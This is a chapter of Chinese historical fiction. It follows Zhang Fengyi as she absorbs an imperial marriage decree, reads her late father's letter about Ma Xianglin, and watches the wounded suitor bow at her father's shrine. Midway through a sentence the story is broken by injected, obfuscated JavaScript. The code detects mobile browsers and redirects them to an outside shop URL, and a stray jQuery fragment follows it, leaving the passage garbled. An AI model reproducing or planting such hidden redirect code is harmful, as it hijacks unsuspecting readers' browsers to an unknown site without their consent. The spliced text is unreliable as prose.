旨意到窦庄那天，张凤仪在后院劈柴。
不是练刀——劈柴。院角堆了一垛松木，庄丁从后山砍回来的，还没劈。她拿了把斧子，一斧一斧地劈。木柴裂开的声比刀砍在桩上脆，响一回，院墙那边就静一回。
庄丁小跑着过来，说京里来了内监，带了圣旨，让她去灵堂跪听。
她把斧子杵在地上，去了。
灵堂里烧着白烛，素果供了三碟。张铨的灵位在正中，黑漆金字——"明故巡按辽东御史张公铨之位"。张道濬站在一侧，素服，脸上的表情小心翼翼的，带着点说不出口的歉疚。
内监展开明黄色卷轴念。声音不急不慢，一个字一个字往她耳朵里灌。
赐婚。石柱宣抚使马祥麟。忠臣遗愿，特旨成全。
她跪着，听见"赐婚"两个字，脊背挺了一下，又松了。没抬头。内监念完了，合上卷轴。张道濬接过旨意放进匣子，看了她一眼，没说话。
她站起来，出了灵堂，回了后院。
斧子杵在地上，刃口沾着松脂。她捡起来，接着劈。
一斧一声。劈到第十七根的时候，斧子偏了，砍在木桩边上，震得虎口发麻。她站住，把斧子拔出来，看了看刃口——没卷。
忠臣遗愿。她爹的遗愿。
她爹在辽阳城楼上看见一个少年中矢拔箭还射，说了句话，然后死了。旨意拿她爹的遗愿做凭，把她嫁了出去。她连那个少年叫什么都是头一回听。
一道旨意，她这一辈子就安排明白了。
她把劈好的柴码起来，码得齐齐整整，比平时慢。码完了，蹲在那儿看着那垛柴，看了好一会儿。
霍氏没有当天来找她。
第二天清早，霍氏在后院练刀，张凤仪在廊下擦自己的刀。各干各的，没说话。霍氏的刀法跟平时一样，劈、砍、格、挡，步子稳，收势干净。张凤仪擦刀擦得慢，刀布贴着刀刃从根到尖走了一遍，翻面，再来一遍。
练完了，霍氏走过来，从袖中取出一封信。
"你爹写的。道濬从辽阳带出来的。两封——一封给我，一封给你。"
张凤仪接了信。信纸不大，折了两折，墨迹有几处洇开了——写得急。她展开：
"凤仪吾女：父在辽东城上，见一少年目中流矢犹战，壮之。此人可托。父若不归，汝从母意。父铨绝笔。"
她看了一遍。又看了一遍。
"此人可托"——四个字。她爹一辈子看人只看一眼。他在辽阳骂贼不跪，那是他的脊梁。他在城楼上看见一个少年中矢拔箭还射，说"壮之"，那也是他的脊梁。可他连那人叫什么都不知道——只知道中矢犹战，便说"可托"。
但那是他的一面。她没见过另一面。
她把信折好，放进袖中。
"我爹看人看一面。"她说，"他没看见另一面。"
霍氏没接这话。站了一会儿，说了另一件："道濬从辽阳回来之后，去了趟山海关，问过了。你爹遗书里只说'一少年'，没写名。道濬拿这个去问——中矢拔箭还射的少年是谁。秦良玉回了话：她儿子马祥麟。旨意上写的那个名字，就是你爹看见的那个人。"
张凤仪没有说话。
"人没见过，话先传回来了。石柱的人，至少不蛮来。"
张凤仪点了下头。没说好，也没说不好。
旨意下来之后，日子还是那个日子。清早练刀，白天料理庄上的事——窦庄六十多个庄丁都是霍氏带的，账目粮草柴米她也管。张铨不在了，张道濬在京城，庄上就她和霍氏两个人撑着。
但那几天她的刀变了。
霍氏教她的刀法，最后一招是回刀格挡——刀身竖在身前，步子扎稳，等对手下一击。这招她练了七年，从来没出过岔子。可旨意下来之后，回刀收不回来了——最后一刀总是过了，刀身带着惯性往斜里走，步子跟不上，得退半步才能站稳。
霍氏在旁边看了一趟，没说话。第二天还是收不住。第三天也是。
第四天早上，霍氏在她练完之后说了一句："刀过了，是心急。心急刀不稳。"
张凤仪把刀收了。
她知道她急什么。不是急他来——急的是这个等。旨意下了，他八月来，她什么都不能做，只能等着被人安排。等一个没见过面的人来了，嫁给他。她这辈子头一回觉得刀不够用。刀能劈开木头，劈不开一道圣旨。
七月底，她开始留意一些事。
庄丁从外面回来，她随口问一句："路上听什么了？"
庄丁说没什么。
隔两天，庄丁出去采买，回来她再问："沁水城里有什么消息？"
庄丁说没有。
又过了几天，张道濬从京中来信。信里说了两件事——一件是朝廷又下了征兵令，辽东经略熊廷弼请调各路土司兵再援辽东，石柱得再出两千人。秦良玉要从榆关回石柱征新兵。另一件：石柱的人已经在路上了，八月可到。
她把信放下，去了后院，练了两趟刀。第一趟收不住，第二趟好了一点。
练完了在廊下喝水。庄丁端着水从面前走过，她叫住了他："你说石柱的人在路上了——从哪儿来？"
"信上说是从榆关来的。"
榆关。她在心里算了一下——千里路，带人走，半个月。
"几个人来？"
"信上没写。"
她没再问。但那天晚上她擦刀的时候多擦了一遍。
她又过了两天，她在廊下擦刀，霍氏练完走过来。她忽然问了一句："白杆兵是什么？"
霍氏看了她一眼。
"石柱的兵。白杆枪，杆头带钩环，能拽马足，能攀城墙。枪杆不涂漆，白木本色，所以叫白杆。"霍氏顿了一下，"浑河之战，秦家三兄弟上了阵，战死两个。辽阳城破的时候，你爹守城殉国，石柱那位少将军带五十骑就敢冲金兵——你爹看见的就是他。"
张凤仪没说话。浑河之战死了两个秦家人，辽阳城破她爹殉国，那位少年带五十骑冲阵——这是三件事，不是一件事。白杆兵在浑河没守住，但她爹在辽阳不是被白杆兵害死的。那个少年带五十人冲千军万马，她爹看见了才说"壮之"。
她把刀擦干净，插回鞘里。
八月初，她换了一把刀。
原来那把是霍氏给的，窄刃，轻快，合她的臂力。她从庄丁的兵器架上挑了一把宽刃的，重了三成，劈下去沉得多。
霍氏看见了，没拦。
宽刃刀更难收。她硬收。一遍一遍劈，一遍一遍往回拉，逼着刀停在身前，不多半寸。
练了五天。到第六天，最后一刀稳了——劈下去，刀身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642606|206725||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
停在她正前方，刃口朝外，纹丝不动。
她把刀插进地里。刀身晃了一下，稳住了。
八月中旬。
那天她在后院擦刀，听见庄门外有动静。不是一个人两个人——马蹄声，一整队，蹄铁踩在石板路上，嗒嗒嗒嗒，整齐。她站起来了。
她没有出去。
她走到后院墙角，那里有一棵老槐树，树冠伸出了墙头。她扶着树干，踮起脚——墙外面看不太清，只看见白杆兵的旗帜，灰白的，风里飘了一下。
二十四骑。她数了。
马蹄声停了。有人说话，声音是霍氏的——霍氏去迎的。然后是脚步声，进庄了。
她从墙角退回来，转身进了正堂。
灵位供着。白烛换了新的，素果也换了。她添了香，在灵位前站住。香烟直直往上升，外面起风了也没有歪。
她没有在灵位前说话。她只是站了一会儿，看着那块黑漆金字的牌位。她爹的脊梁撑着这块牌位，也撑着那道旨意。旨意是朝廷下的，但"忠臣遗愿"四个字是她爹给的——她爹给的不是一道旨意，是一个人。
她嘴唇动了一下。
"爹，你选的人来了。我看看。"
她出了正堂，没有往前院走。她绕了后墙，站到后院最角落的柴房旁边——从那里能看到正堂侧面的窗。
窗半开着。
她看不见里面的人。只看见一个影子，深青色，瘦，站在堂中不动。右边的太阳穴上有一道白，从额角绕到脑后——布条。裹着右眼。
他站在她爹的灵位前面。看不清他在做什么，但影子低了下去——跪了。额头碰地，她听见"咚"的一声。
又一声。
又一声。
三下。跟昨天一样。她昨天隔着窗看了一回，今天又看了一回。他每天来磕三个头，每天一样。
过了一会儿，他站起来。影子面朝灵位站了一会儿，转身往堂门口走了。
她退回后院，拿起了那把宽刃刀，练了一趟。
最后一刀，收得稳稳当当。
那天晚上，霍氏来找她。
"人我见了。"霍氏坐下，拿了另一块布帮她擦刀背。"过了几招。右眼看不见，右边空了一截，但没退。挨了三下，还站着。"
张凤仪擦刀的手没停。
"他带了聘礼。银两百两，绢二十匹，金簪一对，玉佩一枚。按规矩来的，不薄。"
张凤仪没接话。
"他在你爹灵位前磕了三个头，额头碰地，出声了。"
张凤仪的手停了。她把刀布放下，刀插回鞘里。
"他认得我爹？"
"他说不认得。那天雾没散，隔着两里地，城墙上的人只有指头大。他不知道你爹在看他。"
堂里安静了一会儿。白烛的芯子爆了一下，烛光晃了晃。
不认得，还磕。磕得额头碰地出声。
"他什么时候走？"
"没说走。他住着，等你拿主意。"
张凤仪站起来，把刀挂在墙上。刀鞘碰着墙板，响了一声。
她从窗边看出去，后院那棵老槐树的影子映在月光底下，枝杈分得清楚。等了这些天——等旨意，等他来，等自己拿主意。旨意到了，人也到了，主意还是她自己的。
"我见。"